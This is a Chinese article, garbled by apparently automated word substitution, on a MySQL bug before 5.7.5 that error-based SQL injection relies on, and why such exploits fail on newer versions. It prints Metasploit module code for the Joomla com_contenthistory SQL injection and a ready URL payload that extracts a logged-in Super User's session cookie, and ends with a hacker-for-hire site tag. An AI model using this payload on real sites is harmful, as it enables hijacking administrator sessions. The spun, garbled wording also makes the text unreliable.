一、前语
在MySQL 5.7.5之前的所有主版别存在一个BUG,该或许导致影响POC/EXP需求从头编写或批改的问题。
BUG信息链接:
https://bugs.mysql.com/bug.php?id=58081
二、问题阐明
在BUG阐明中,能够经过以下SQL句子复现:
set names latin1;drop table if exists t1;create table t1(a int) engine=myisam;insert into t1 values (0),(0),(1),(0),(0);select count(*) from t1, t1 t2 group by insert('', t2.a, t1.a,(@@global.max_binlog_size));
MySQL版别低于5.7.5中,履行以上SQL句子,会报如下过错:
Duplicate entry '107374182410737418241' for key 'group_key'
三、POC/EXP影响剖析
3.1 原因剖析
一般报错性SQL注入POC或EXP编写的时分,POC/EXP编写思路是经过SQL句子履行某个句子让WEB APP将报错(包括要履行的SQL句子查询成果)信息打印出来。
以Joomla__APP__SQL_Injection__CVE_2019_7297这个缝隙为例: 在Joomla 3.4.4b版别对应com_contenthistory组件的视图文件/administrator/components/com_contenthistory/views/history/view.html.php中:
if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("n", $errors)); return false; }
呈现SQL句子查询SQL句子查询过错时,会将要害报错信息打印出来。
因而这也导致在MetaSploit 结构中,对应使用模块:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb
77行界说的sqli使用函数中,经过报错办法让Joomla将过错信息打印出来:
def sqli( tableprefix ) # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in). # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history. # This way we make sure that's excluded and we only get real admin sessions. sql = " (select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id " # Retrieve cookies res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "index.php"), 'vars_get' => { 'option' => 'com_contenthistory', 'view' => 'history', 'list[ordering]' => '', 'item_id' => '1', 'type_id' => '1', 'list[select]' => sql } })
经过MySQL查询日志,能够看到MSF履行sqli获取已登录的超级管理员用户的session_id(即身份令牌Cookie)时。履行SQL句子为:
SELECT (select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from `u6egd_session` WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id ,uc.name AS editorFROM `u6egd_ucm_history` AS hLEFT JOIN u6egd_users AS uc ON uc.id = h.editor_user_idWHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1ORDER BY `h`.`save_date`
留意:
u6egd仅仅表前缀,不同环境下会改变。
该SQL句子实在履行后,报的过错如下:
因而,咱们可结构对应的Payload:
/index.php?option=com_contenthistory&view=history&list[select]=(select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from %23__session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id
希望呼应含有已登陆超级管理员的session_id(即身份令牌Cookie):
咱们在MySQL 8.0版别中,看到没有报错了:
[1][2]黑客接单网